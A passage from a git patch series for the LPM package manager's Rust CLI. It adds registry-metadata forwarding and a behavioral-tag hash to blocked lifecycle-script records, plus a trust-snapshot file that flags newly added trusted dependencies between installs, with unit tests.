Option<&BlockedSetMetadataEntry> { + self.by_pkg.get(&(name.to_string(), version.to_string())) + } + + /// Insert / overwrite metadata for `(name, version)`. + pub fn insert(&mut self, name: String, version: String, entry: BlockedSetMetadataEntry) { + self.by_pkg.insert((name, version), entry); + } +} + /// Compute the install-time blocked set for a project. /// /// Walks `installed`, looks at each package's lifecycle scripts via the @@ -290,10 +338,33 @@ pub fn compute_blocked_set_fingerprint(packages: &[BlockedPackage]) -> String { /// /// Returns the list sorted by `(name, version)` so the caller can pass /// it directly to [`compute_blocked_set_fingerprint`]. +/// +/// This wrapper calls [`compute_blocked_packages_with_metadata`] with +/// an empty metadata map; the Phase-46 `published_at` and +/// `behavioral_tags_hash` fields on emitted `BlockedPackage` entries +/// stay `None`. The production install path calls +/// `compute_blocked_packages_with_metadata` directly with a populated +/// map; tests keep using this signature. pub fn compute_blocked_packages( store: &PackageStore, installed: &[(String, String, Option)], policy: &SecurityPolicy, +) -> Vec { + compute_blocked_packages_with_metadata(store, installed, policy, &BlockedSetMetadata::default()) +} + +/// Phase 46 P1 metadata-aware variant of [`compute_blocked_packages`]. +/// +/// Same logic but forwards per-package `published_at` and +/// `behavioral_tags_hash` from `metadata` into each emitted +/// [`BlockedPackage`]. The fingerprint is unaffected (intentionally — +/// it's a stability metric over *blockable* packages, not over their +/// metadata). +pub fn compute_blocked_packages_with_metadata( + store: &PackageStore, + installed: &[(String, String, Option)], + policy: &SecurityPolicy, + metadata: &BlockedSetMetadata, ) -> Vec { let mut blocked: Vec = Vec::new(); @@ -339,6 +410,11 @@ pub fn compute_blocked_packages( }; if is_blocked { + // Phase 46 P1 metadata forwarding. The caller (install.rs) + // populates `metadata` from the same registry responses + // the cooldown check already fetched, so this is a + // memory-only hash-map lookup per package. + let entry = metadata.get(name, version); blocked.push(BlockedPackage { name: name.clone(), version: version.clone(), @@ -346,22 +422,12 @@ pub fn compute_blocked_packages( script_hash: Some(script_hash), phases_present, binding_drift, - // Phase 46 fields — left `None` here because P1 - // defines the schema but the producers live in later - // phases. P1's own metadata-plumbing work (threading - // `published_at` + `behavioral_tags_hash` through the - // capture call) extends this function's signature to - // accept + forward those values; the P2 static gate - // populates `static_tier`; P4 populates - // `provenance_at_capture`. Keeping all four `None` - // here for the schema-only commit preserves the - // existing blocked-set capture behavior byte-for-byte - // (no new JSON keys emitted due to - // `skip_serializing_if = "Option::is_none"`). + // P2 populates `static_tier`; P4 populates + // `provenance_at_capture`. Both stay `None` in P1. static_tier: None, provenance_at_capture: None, - published_at: None, - behavioral_tags_hash: None, + published_at: entry.and_then(|e| e.published_at.clone()), + behavioral_tags_hash: entry.and_then(|e| e.behavioral_tags_hash.clone()), }); } } @@ -373,13 +439,36 @@ pub fn compute_blocked_packages( /// The end-to-end install hook: compute → compare to previous → write → /// return whether to emit a banner. +/// +/// Thin wrapper over [`capture_blocked_set_after_install_with_metadata`] +/// that supplies an empty metadata map. Production callers use the +/// with-metadata variant; test callers use this signature. pub fn capture_blocked_set_after_install( project_dir: &Path, store: &PackageStore, installed: &[(String, String, Option)], policy: &SecurityPolicy, ) -> Result { - let blocked = compute_blocked_packages(store, installed, policy); + capture_blocked_set_after_install_with_metadata( + project_dir, + store, + installed, + policy, + &BlockedSetMetadata::default(), + ) +} + +/// Phase 46 P1 metadata-aware variant of +/// [`capture_blocked_set_after_install`]. Used by the install pipeline +/// where per-package metadata is available; see [`BlockedSetMetadata`]. +pub fn capture_blocked_set_after_install_with_metadata( + project_dir: &Path, + store: &PackageStore, + installed: &[(String, String, Option)], + policy: &SecurityPolicy, + metadata: &BlockedSetMetadata, +) -> Result { + let blocked = compute_blocked_packages_with_metadata(store, installed, policy, metadata); let fingerprint = compute_blocked_set_fingerprint(&blocked); let previous = read_build_state(project_dir); @@ -1300,4 +1389,201 @@ mod tests { ); assert_eq!(read.unwrap().blocked_packages.len(), 1); } + + // ─── Phase 46 P1: metadata plumbing ─────────────────────────── + // + // The `_with_metadata` variants forward `published_at` and + // `behavioral_tags_hash` onto captured `BlockedPackage` entries. + // The caller (install.rs) populates the map from the registry + // metadata the cooldown check already fetched. + + fn make_metadata( + published_at: Option<&str>, + behavioral_tags_hash: Option<&str>, + ) -> BlockedSetMetadataEntry { + BlockedSetMetadataEntry { + published_at: published_at.map(String::from), + behavioral_tags_hash: behavioral_tags_hash.map(String::from), + } + } + + fn store_pkg_with_postinstall(store: &lpm_store::PackageStore, name: &str, version: &str) { + let pkg_dir = store.package_dir(name, version); + std::fs::create_dir_all(&pkg_dir).unwrap(); + std::fs::write( + pkg_dir.join("package.json"), + format!( + r#"{{"name":"{name}","version":"{version}","scripts":{{"postinstall":"node install.js"}}}}"# + ), + ) + .unwrap(); + } + + #[test] + fn compute_with_metadata_forwards_published_at_and_behavioral_tags_hash() { + // Core P1 contract: when the caller supplies metadata for a + // blockable package, both optional fields on the emitted + // BlockedPackage are populated verbatim. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let mut metadata = BlockedSetMetadata::default(); + metadata.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-18T12:34:56Z"), Some("sha256-tag-hash-abc")), + ); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert_eq!(blocked[0].name, "sharp"); + assert_eq!( + blocked[0].published_at.as_deref(), + Some("2026-04-18T12:34:56Z"), + "published_at MUST be forwarded from metadata map to BlockedPackage" + ); + assert_eq!( + blocked[0].behavioral_tags_hash.as_deref(), + Some("sha256-tag-hash-abc"), + "behavioral_tags_hash MUST be forwarded from metadata map to BlockedPackage" + ); + } + + #[test] + fn compute_with_metadata_missing_entry_leaves_fields_none() { + // Graceful degradation: when the caller has NO metadata for a + // package (offline, fast-path, registry error), both Phase 46 + // fields stay None on the emitted BlockedPackage. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + // Empty metadata map — caller didn't fetch / couldn't fetch. + let metadata = BlockedSetMetadata::default(); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert!( + blocked[0].published_at.is_none(), + "missing metadata entry → published_at stays None (graceful)" + ); + assert!( + blocked[0].behavioral_tags_hash.is_none(), + "missing metadata entry → behavioral_tags_hash stays None (graceful)" + ); + } + + #[test] + fn compute_with_metadata_partial_entry_forwards_only_populated_half() { + // One field present, one absent: forward what we have, leave + // the other None. Common real-world case: npm packages often + // have a `time` entry but no server-side behavioral analysis. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "some-npm-pkg", "1.0.0"); + + let installed = vec![("some-npm-pkg".to_string(), "1.0.0".to_string(), None)]; + let mut metadata = BlockedSetMetadata::default(); + metadata.insert( + "some-npm-pkg".to_string(), + "1.0.0".to_string(), + make_metadata(Some("2026-04-20T00:00:00Z"), None), + ); + + let blocked = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &metadata); + + assert_eq!(blocked.len(), 1); + assert_eq!( + blocked[0].published_at.as_deref(), + Some("2026-04-20T00:00:00Z"), + "populated half forwards" + ); + assert!( + blocked[0].behavioral_tags_hash.is_none(), + "unpopulated half stays None (no server analysis)" + ); + } + + #[test] + fn backward_compat_wrapper_captures_with_empty_metadata() { + // `capture_blocked_set_after_install` (no-metadata variant) + // remains a valid entry point; it just produces BlockedPackage + // entries with both P1 fields as None. Pins the wrapper + // contract for the ~30 test callers that use it. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let capture = + capture_blocked_set_after_install(project.path(), &store, &installed, &empty_policy()) + .unwrap(); + + assert_eq!(capture.state.blocked_packages.len(), 1); + let pkg = &capture.state.blocked_packages[0]; + assert!( + pkg.published_at.is_none() && pkg.behavioral_tags_hash.is_none(), + "no-metadata wrapper must leave both P1 fields None" + ); + } + + #[test] + fn metadata_fingerprint_is_independent_of_metadata() { + // Design invariant: the blocked-set fingerprint is a stability + // metric over *blockable* packages and their strict binding + // tuple, NOT over their metadata. Installs with differing + // published_at / behavioral_tags_hash but same blocked set + // MUST produce identical fingerprints. Otherwise the post- + // install "blocked set unchanged" suppression would spuriously + // re-fire on registry metadata churn. + let project = tempdir().unwrap(); + std::fs::create_dir_all(project.path().join(".lpm")).unwrap(); + let store = lpm_store::PackageStore::at(project.path().join("store")); + store_pkg_with_postinstall(&store, "sharp", "0.33.0"); + + let installed = vec![("sharp".to_string(), "0.33.0".to_string(), None)]; + let meta_a = { + let mut m = BlockedSetMetadata::default(); + m.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-01T00:00:00Z"), Some("sha256-aaa")), + ); + m + }; + let meta_b = { + let mut m = BlockedSetMetadata::default(); + m.insert( + "sharp".to_string(), + "0.33.0".to_string(), + make_metadata(Some("2026-04-20T00:00:00Z"), Some("sha256-bbb")), + ); + m + }; + + let bp_a = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &meta_a); + let bp_b = + compute_blocked_packages_with_metadata(&store, &installed, &empty_policy(), &meta_b); + let fp_a = compute_blocked_set_fingerprint(&bp_a); + let fp_b = compute_blocked_set_fingerprint(&bp_b); + assert_eq!( + fp_a, fp_b, + "fingerprint must be independent of metadata-only fields — \ + otherwise registry churn would spuriously re-fire the \ + post-install blocked-set warning" + ); + } } diff --git a/crates/lpm-cli/src/commands/install.rs b/crates/lpm-cli/src/commands/install.rs index 9e227ce9..4f77f23f 100644 --- a/crates/lpm-cli/src/commands/install.rs +++ b/crates/lpm-cli/src/commands/install.rs @@ -2037,11 +2037,19 @@ pub async fn run_with_options( .iter() .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); - let blocked_capture = crate::build_state::capture_blocked_set_after_install( + // **Phase 46 P1 metadata plumbing:** enrich the captured + // blocked-set with `published_at` and `behavioral_tags_hash` per + // package, drawing from the registry metadata the resolver + // already fetched (5-min TTL cache). On fresh resolutions this is + // effectively free; on offline / fast-path paths we pass empty + // metadata and the fields stay `None` (graceful degradation). + let blocked_set_metadata = build_blocked_set_metadata(arc_client.as_ref(), &packages).await; + let blocked_capture = crate::build_state::capture_blocked_set_after_install_with_metadata( project_dir, &store, &installed_with_integrity, &policy, + &blocked_set_metadata, )?; // Show build hint for packages with lifecycle scripts (Phase 25: two-phase model). @@ -2732,6 +2740,78 @@ fn should_auto_build(auto_build_flag: bool, config_auto_build: bool, all_trusted auto_build_flag || config_auto_build || all_trusted } +/// **Phase 46 P1 metadata plumbing** — build the metadata map that +/// enriches [`crate::build_state::BlockedPackage`] entries with +/// `published_at` (RFC 3339) and `behavioral_tags_hash` (SHA-256 over +/// the sorted set of active behavioral tags). +/// +/// Fetches registry metadata via the existing client API which is +/// backed by a 5-min TTL cache. On fresh resolutions the resolver +/// already populated that cache, so this is a memory-local lookup. +/// On offline installs or registry-unreachable installs, fetches +/// return `Err`; we silently drop those packages from the map and +/// the captured fields stay `None` — documented graceful +/// degradation (see [`crate::build_state::BlockedSetMetadata`]). +/// +/// Never returns an error: metadata enrichment is best-effort and +/// must not fail an otherwise-successful install. Any fetch error +/// is recorded as "no entry for this package" and the install +/// proceeds. +async fn build_blocked_set_metadata( + client: &lpm_registry::RegistryClient, + packages: &[InstallPackage], +) -> crate::build_state::BlockedSetMetadata { + let mut out = crate::build_state::BlockedSetMetadata::default(); + + for p in packages { + // Grab the full PackageMetadata so we can read BOTH the top- + // level `time[version]` (for `published_at`) AND the + // `versions[version]._behavioralTags` substructure in one + // fetch. Errors are swallowed per the graceful-degradation + // contract above. + let meta = if p.is_lpm { + match lpm_common::PackageName::parse(&p.name) { + Ok(pkg_name) => client.get_package_metadata(&pkg_name).await.ok(), + Err(_) => None, + } + } else { + client.get_npm_package_metadata(&p.name).await.ok() + }; + + let Some(meta) = meta else { continue }; + + let published_at = meta.time.get(&p.version).cloned(); + + // Extract behavioral tags if present and hash them into the + // canonical form. `active_tag_names` returns sorted canonical + // names; `hash_behavioral_tag_set` hashes them deterministically. + let behavioral_tags_hash = meta + .versions + .get(&p.version) + .and_then(|v| v.behavioral_tags.as_ref()) + .map(|tags| { + let names = tags.active_tag_names(); + lpm_security::triage::hash_behavioral_tag_set(&names) + }); + + // Only insert if at least ONE field is populated — empty + // entries just waste map memory. Callers get `None` for + // absent keys either way. + if published_at.is_some() || behavioral_tags_hash.is_some() { + out.insert( + p.name.clone(), + p.version.clone(), + crate::build_state::BlockedSetMetadataEntry { + published_at, + behavioral_tags_hash, + }, + ); + } + } + + out +} + // Phase 34.1: is_install_up_to_date() moved to crate::install_state::check_install_state() /// Try to use the lockfile as a fast path. diff --git a/crates/lpm-registry/src/types.rs b/crates/lpm-registry/src/types.rs index 6d9ded40..1db51fa9 100644 --- a/crates/lpm-registry/src/types.rs +++ b/crates/lpm-registry/src/types.rs @@ -179,6 +179,98 @@ pub struct BehavioralTags { pub no_license: bool, } +impl BehavioralTags { + /// The canonical, camelCase tag name of every field that is + /// currently `true`, sorted lexicographically. + /// + /// **Phase 46 P1** — the ordered input for + /// `lpm_security::triage::hash_behavioral_tag_set`. Names use the + /// same spelling as the registry's wire protocol so the hash is + /// portable across any tooling that speaks the registry schema + /// (registry, CLI, dashboard). + /// + /// Returning `Vec<&'static str>` (not `Vec`) keeps the + /// caller's allocation cost at the small-Vec-of-pointers level; + /// the static strings mirror the `#[serde(rename)]` attributes + /// above and the server-side `behavioral-tags.js` definition. + pub fn active_tag_names(&self) -> Vec<&'static str> { + let mut active: Vec<&'static str> = Vec::new(); + // Source tags (10) + if self.eval { + active.push("eval"); + } + if self.child_process { + active.push("childProcess"); + } + if self.shell { + active.push("shell"); + } + if self.network { + active.push("network"); + } + if self.filesystem { + active.push("filesystem"); + } + if self.crypto { + active.push("crypto"); + } + if self.dynamic_require { + active.push("dynamicRequire"); + } + if self.native_bindings { + active.push("nativeBindings"); + } + if self.environment_vars { + active.push("environmentVars"); + } + if self.web_socket { + active.push("webSocket"); + } + // Supply chain tags (7) + if self.obfuscated { + active.push("obfuscated"); + } + if self.high_entropy_strings { + active.push("highEntropyStrings"); + } + if self.minified { + active.push("minified"); + } + if self.telemetry { + active.push("telemetry"); + } + if self.url_strings { + active.push("urlStrings"); + } + if self.trivial { + active.push("trivial"); + } + if self.protestware { + active.push("protestware"); + } + // Manifest tags (5) + if self.git_dependency { + active.push("gitDependency"); + } + if self.http_dependency { + active.push("httpDependency"); + } + if self.wildcard_dependency { + active.push("wildcardDependency"); + } + if self.copyleft_license { + active.push("copyleftLicense"); + } + if self.no_license { + active.push("noLicense"); + } + // Sort so downstream hashing is order-stable regardless of + // struct-field declaration order or future additions. + active.sort(); + active + } +} + /// AI-detected security finding. #[derive(Debug, Clone, Serialize, Deserialize)] pub struct SecurityFinding { diff --git a/crates/lpm-security/src/triage.rs b/crates/lpm-security/src/triage.rs index a02dd48c..d042424e 100644 --- a/crates/lpm-security/src/triage.rs +++ b/crates/lpm-security/src/triage.rs @@ -14,6 +14,7 @@ //! wires them into the persisted structs; later phases populate them. use serde::{Deserialize, Serialize}; +use sha2::{Digest, Sha256}; /// Classification produced by the Phase 46 static-gate matcher (Layer 1 /// of the four-layer tiered gate). @@ -94,6 +95,45 @@ pub struct ProvenanceSnapshot { pub attestation_cert_sha256: Option, } +/// Deterministic hash of the sorted set of `true` behavioral-analysis +/// tag names for a package version. +/// +/// Phase 46 P1 populates this on `BlockedPackage` so the version-diff +/// UI (P7) can detect "behavioral tags gained `network` / `eval` +/// since last approval" without re-fetching metadata. The input is +/// expected to be sorted lexicographically — the caller (the +/// `BehavioralTags::active_tag_names` extraction in `lpm-registry`) +/// guarantees that invariant, so we do not re-sort here. +/// +/// Format: `sha256-`, matching the convention used by +/// [`crate::script_hash::compute_script_hash`] and the SRI-style +/// prefix pattern throughout LPM. A NUL (`\0`) separator between tag +/// names ensures `["net", "work"]` and `["netw", "ork"]` hash +/// differently (adjacency-collision defense). +/// +/// Empty input (no `true` tags) produces a stable, non-empty hash +/// distinct from "no metadata" — callers should pass `None` for the +/// whole field when the server did not analyze the package, rather +/// than calling this with an empty slice. +pub fn hash_behavioral_tag_set(sorted_active_tags: &[&str]) -> String { + let mut hasher = Sha256::new(); + for (i, tag) in sorted_active_tags.iter().enumerate() { + if i > 0 { + hasher.update([0u8]); + } + hasher.update(tag.as_bytes()); + } + let digest = hasher.finalize(); + let mut hex = String::with_capacity(7 + 64); + hex.push_str("sha256-"); + const HEX_TABLE: &[u8; 16] = b"0123456789abcdef"; + for &b in &digest[..] { + hex.push(HEX_TABLE[(b >> 4) as usize] as char); + hex.push(HEX_TABLE[(b & 0x0f) as usize] as char); + } + hex +} + #[cfg(test)] mod tests { use super::*; @@ -242,4 +282,68 @@ mod tests { assert_ne!(base, differ_cert); assert_eq!(base, base.clone()); } + + // ── hash_behavioral_tag_set ─────────────────────────────────── + + #[test] + fn behavioral_hash_has_sha256_prefix_and_fixed_length() { + let h = hash_behavioral_tag_set(&[]); + assert!(h.starts_with("sha256-")); + // "sha256-" (7) + 64 hex chars = 71 + assert_eq!(h.len(), 71); + } + + #[test] + fn behavioral_hash_empty_is_stable() { + // Pinned: the hash of empty input is the SHA-256 of the empty + // string. Callers distinguish "no active tags" (this hash) + // from "no metadata" (Option::None for the whole field) at + // the call site; both are legitimate states. + let h = hash_behavioral_tag_set(&[]); + assert_eq!( + h, "sha256-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "empty active-tag set must hash deterministically to \ + SHA-256 of the empty string — downstream storage relies \ + on this invariant across runs" + ); + } + + #[test] + fn behavioral_hash_order_sensitive() { + // Caller promises sorted input; we don't re-sort. Swapping the + // order SHOULD produce a different hash so a misuse by the + // caller is detectable in tests (rather than silently hashing + // the same value). + let h_sorted = hash_behavioral_tag_set(&["eval", "network"]); + let h_rev = hash_behavioral_tag_set(&["network", "eval"]); + assert_ne!( + h_sorted, h_rev, + "hash must be input-order-sensitive so misuse is \ + detectable — callers are contracted to sort", + ); + } + + #[test] + fn behavioral_hash_separator_prevents_adjacency_collision() { + // Without the NUL separator, ["net", "work"] and ["netw", "ork"] + // would concatenate to the same byte string. The separator + // forecloses that adjacency-collision class. + let h_split_1 = hash_behavioral_tag_set(&["net", "work"]); + let h_split_2 = hash_behavioral_tag_set(&["netw", "ork"]); + assert_ne!(h_split_1, h_split_2); + } + + #[test] + fn behavioral_hash_deterministic_across_calls() { + let a = hash_behavioral_tag_set(&["childProcess", "eval", "network"]); + let b = hash_behavioral_tag_set(&["childProcess", "eval", "network"]); + assert_eq!(a, b); + } + + #[test] + fn behavioral_hash_distinct_from_subset() { + let all = hash_behavioral_tag_set(&["childProcess", "eval", "network"]); + let subset = hash_behavioral_tag_set(&["eval", "network"]); + assert_ne!(all, subset); + } } From 8c03c55a0e759b9eb6c6669dd6b4378d34020d6c Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 07:48:42 +0100 Subject: [PATCH 07/61] feat(phase-46): P1 trust-snapshot persistence + new-bindings diff notice MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes the second of the three remaining P1 chunks. Implements plan §4.2: detect silent additions to `package.json > lpm > trustedDependencies` between installs. Motivating case: a "bump dep" PR that quietly grows the trust list gets flagged locally instead of slipping past code review. New module: crates/lpm-cli/src/trust_snapshot.rs - TrustSnapshot { schema_version, captured_at, bindings } persisted to `/.lpm/trust-snapshot.json`. BTreeMap-keyed for deterministic on-disk ordering. - SnapshotEntry { integrity, script_hash } — minimal 2-field projection of TrustedDependencyBinding. Does NOT capture Phase 46 audit fields (approved_by, approved_by_model_exact) — those belong to the manifest's audit trail, not the "did-the-set-change" diff. - TrustSnapshot::capture_current pattern-matches the Legacy / Rich variants directly rather than calling TrustedDependencies::iter (which normalizes keys to the name-portion only and would collapse per-version granularity). - TrustSnapshot::diff_additions — keys in current not in previous, sorted. Returns empty on "no previous" (first install). Deliberately ignores removals (not a security concern) and same-key binding changes (already handled by BindingDrift in the install path). - Schema-versioned parallel to BuildState: SCHEMA_VERSION = 1; same no-version-bump policy for additive field changes. - format_new_bindings_notice produces the user-facing multi-line notice pointing at `lpm trust diff` (the inspection CTA — ships in chunk C). - write_snapshot is atomic (temp-then-rename); crash safety matches build-state.json. Install pipeline (install.rs): - Pre-install: after "Installing dependencies for X" and before the lockfile fast-path branch, read prior snapshot, diff against current manifest, emit notice via output::info. Suppressed in --json mode (no stable JSON schema yet; agents get the same data from `lpm trust diff` in chunk C). - Post-install: snapshot write on BOTH the main path and the run_link_and_finish fast path. The fast path is reached when only trustedDependencies changed (lockfile still valid) so skipping snapshot write there would leave the next install diffing against stale state. Write failures are tracing::warn only — non-fatal, graceful degradation. Tests (16 in trust_snapshot::tests): - capture_current: empty, rich bindings, legacy bare-name keying - diff_additions: no previous, additions detected, removals ignored, binding-changes ignored, multi-addition sort invariant - format_new_bindings_notice: empty → None, populated → CTA present - read/write: round-trip, missing file, malformed JSON, newer schema_version refused, atomic-write leaves no .tmp file - End-to-end regression (audit prescription A): install_n_writes_snapshot_install_n_plus_1_detects_addition — simulates the full flow from snapshot-write through diff on the next install; asserts both the additions list and the rendered notice include the poisoned-PR addition. Full-workspace CI gate: clippy -D warnings clean, fmt clean, 1837/1837 tests pass on touched crates. Field ownership: P1 owns .lpm/trust-snapshot.json per plan §11 — done here. Co-Authored-By: Claude Opus 4.7 (1M context) --- crates/lpm-cli/src/commands/install.rs | 55 +++ crates/lpm-cli/src/main.rs | 1 + crates/lpm-cli/src/trust_snapshot.rs | 506 +++++++++++++++++++++++++ 3 files changed, 562 insertions(+) create mode 100644 crates/lpm-cli/src/trust_snapshot.rs diff --git a/crates/lpm-cli/src/commands/install.rs b/crates/lpm-cli/src/commands/install.rs index 4f77f23f..b2e4f81f 100644 --- a/crates/lpm-cli/src/commands/install.rs +++ b/crates/lpm-cli/src/commands/install.rs @@ -893,6 +893,27 @@ pub async fn run_with_options( output::info(&format!("Installing dependencies for {}", pkg_name.bold())); } + // Phase 46 P1: surface silent additions to `trustedDependencies` + // BEFORE the install pipeline does any work (§4.2 of the plan). + // A "bump dep" PR that quietly grew the trust list would otherwise + // slip past local review; this diff is the local-reviewer safety + // net. Emission is suppressed in --json mode (no stable JSON + // schema for this surface yet — callers will learn the additions + // via `lpm trust diff` once that lands in chunk C). + if !json_output { + let current_snapshot = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + let previous_snapshot = crate::trust_snapshot::read_snapshot(project_dir); + let additions = current_snapshot.diff_additions(previous_snapshot.as_ref()); + if let Some(notice) = crate::trust_snapshot::format_new_bindings_notice(&additions) { + output::info(¬ice); + } + } + // Phase 43 — shared gate counters. Populated by the lockfile // fast path (Change 1) when a stored URL fails the scheme/shape/ // origin gate, and (in follow-up commits) by the stale-URL retry @@ -2052,6 +2073,24 @@ pub async fn run_with_options( &blocked_set_metadata, )?; + // Phase 46 P1: persist the current `trustedDependencies` as a + // snapshot so the NEXT install's diff (§4.2) has a baseline. Write + // failures are non-fatal — an install that reached this point has + // already succeeded as far as the user cares, and the worst-case + // of a missing snapshot is "the next install's diff notice + // doesn't fire," which degrades to the pre-46 behavior. + { + let snap = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + if let Err(e) = crate::trust_snapshot::write_snapshot(project_dir, &snap) { + tracing::warn!("failed to write trust-snapshot.json: {e}"); + } + } + // Show build hint for packages with lifecycle scripts (Phase 25: two-phase model). // Scripts are NEVER executed during install — use `lpm build` instead. // **Phase 32 Phase 4 M3:** the hint is now gated on the blocked-set @@ -3291,6 +3330,22 @@ async fn run_link_and_finish( &policy, )?; + // Phase 46 P1: snapshot write on the fast path too — a warm + // install that only changed `trustedDependencies` (not deps) + // would otherwise skip the update and leave the next install + // comparing against stale state. Non-fatal on failure. + { + let snap = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + if let Err(e) = crate::trust_snapshot::write_snapshot(project_dir, &snap) { + tracing::warn!("failed to write trust-snapshot.json: {e}"); + } + } + if !json_output && blocked_capture.should_emit_warning { if blocked_capture.all_clear_banner { output::success( diff --git a/crates/lpm-cli/src/main.rs b/crates/lpm-cli/src/main.rs index 980dc778..ee5326d6 100644 --- a/crates/lpm-cli/src/main.rs +++ b/crates/lpm-cli/src/main.rs @@ -30,6 +30,7 @@ mod sigstore; mod swift_manifest; #[cfg(test)] mod test_env; +mod trust_snapshot; mod update_check; pub mod upgrade_engine; mod xcode_project; diff --git a/crates/lpm-cli/src/trust_snapshot.rs b/crates/lpm-cli/src/trust_snapshot.rs new file mode 100644 index 00000000..4628f6e2 --- /dev/null +++ b/crates/lpm-cli/src/trust_snapshot.rs @@ -0,0 +1,506 @@ +//! Phase 46 P1 — `.lpm/trust-snapshot.json` persistence and diff. +//! +//! Every successful `lpm install` writes a snapshot of the current +//! `package.json > lpm > trustedDependencies` into +//! `/.lpm/trust-snapshot.json`. At the start of the next +//! install, the diff against this snapshot surfaces **new trust +//! bindings** — entries that appeared in the manifest since the last +//! install but were not personally approved on this machine (see plan +//! §4.2 for the motivating scenario: a "bump dep" PR that silently +//! adds a `trustedDependencies` entry gets flagged instead of slipping +//! past code review). +//! +//! ## Why a separate file from `build-state.json` +//! +//! `build-state.json` snapshots the *blocked set* (packages whose +//! scripts were NOT covered by approvals) for suppression of the +//! post-install banner. `trust-snapshot.json` snapshots the +//! *approvals themselves* for detection of additions. The two files +//! have independent lifecycles (build-state invalidates on install +//! changes; trust-snapshot only on manifest changes), different +//! schemas, and different consumer concerns. Colocating them in +//! `.lpm/` keeps them next to `package.json` and behind the existing +//! `.gitignore` convention for `.lpm/`. +//! +//! ## Schema stability +//! +//! Same policy as `build-state.json` (see `BUILD_STATE_VERSION` +//! comment): bump only on breaking changes. Optional field additions +//! default to `None` and silently pass through older readers, so +//! `SCHEMA_VERSION = 1` should suffice for all of Phase 46. + +use lpm_common::LpmError; +use lpm_workspace::TrustedDependencies; +use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +/// Current trust-snapshot schema version. +/// +/// Bump only on **breaking** changes (field type change, removal, +/// semantic change). Additions of `Option` fields do not warrant a +/// bump — the struct has no `deny_unknown_fields` attribute, so older +/// readers silently drop newer fields and newer readers default +/// missing fields to `None`. Same policy as `BUILD_STATE_VERSION`. +pub const SCHEMA_VERSION: u32 = 1; + +/// Filename inside `/.lpm/`. +pub const FILENAME: &str = "trust-snapshot.json"; + +/// One binding captured in the snapshot. +/// +/// Minimal 2-field projection of `TrustedDependencyBinding`. We do +/// NOT capture Phase 46 audit fields (`approved_by`, +/// `approved_by_model_exact`, etc.) here — those belong to the +/// manifest's audit trail, not to the "did-the-set-change" diff. +/// Keeping the snapshot payload lean also means reader / writer +/// churn stays minimal across future binding-schema extensions. +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +pub struct SnapshotEntry { + #[serde(default, skip_serializing_if = "Option::is_none")] + pub integrity: Option, + #[serde( + default, + rename = "scriptHash", + skip_serializing_if = "Option::is_none" + )] + pub script_hash: Option, +} + +/// Top-level shape of `.lpm/trust-snapshot.json`. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TrustSnapshot { + pub schema_version: u32, + /// RFC 3339 timestamp of the install that wrote this snapshot. + /// Used by the `lpm trust diff` command for "added since " + /// messaging, not by the diff-computation logic itself. + pub captured_at: String, + /// Bindings keyed by `"name@version"` in deterministic + /// lexicographic order (thanks to `BTreeMap`), so JSON on-disk + /// is diff-stable across installs that don't change the set. + pub bindings: BTreeMap, +} + +impl TrustSnapshot { + /// Project the current `package.json > lpm > trustedDependencies` + /// into snapshot shape. + /// + /// **Keying:** the snapshot uses the raw map key from + /// `TrustedDependencies::Rich` (format `"name@version"`, per + /// `TrustedDependencies::rich_key`) so the diff is + /// version-granular. Legacy bare-name entries use the bare name + /// as-is (no `@version`) and project to an empty binding — same + /// semantic the strict gate assigns them (`LegacyNameOnly`). + /// + /// Note we pattern-match on the enum directly rather than calling + /// `TrustedDependencies::iter`: the public `iter` normalizes the + /// key to the name-portion only (stripping `@version`), which + /// would collapse all versions of the same package into one + /// snapshot key and defeat version-granular diff. + /// + /// The returned snapshot's `captured_at` is set to NOW. Callers + /// are expected to persist it via [`write_snapshot`] after a + /// successful install; the timestamp is the write-time marker, + /// not the read-time. + pub fn capture_current(td: &TrustedDependencies) -> Self { + let mut bindings: BTreeMap = BTreeMap::new(); + match td { + TrustedDependencies::Legacy(names) => { + for name in names { + 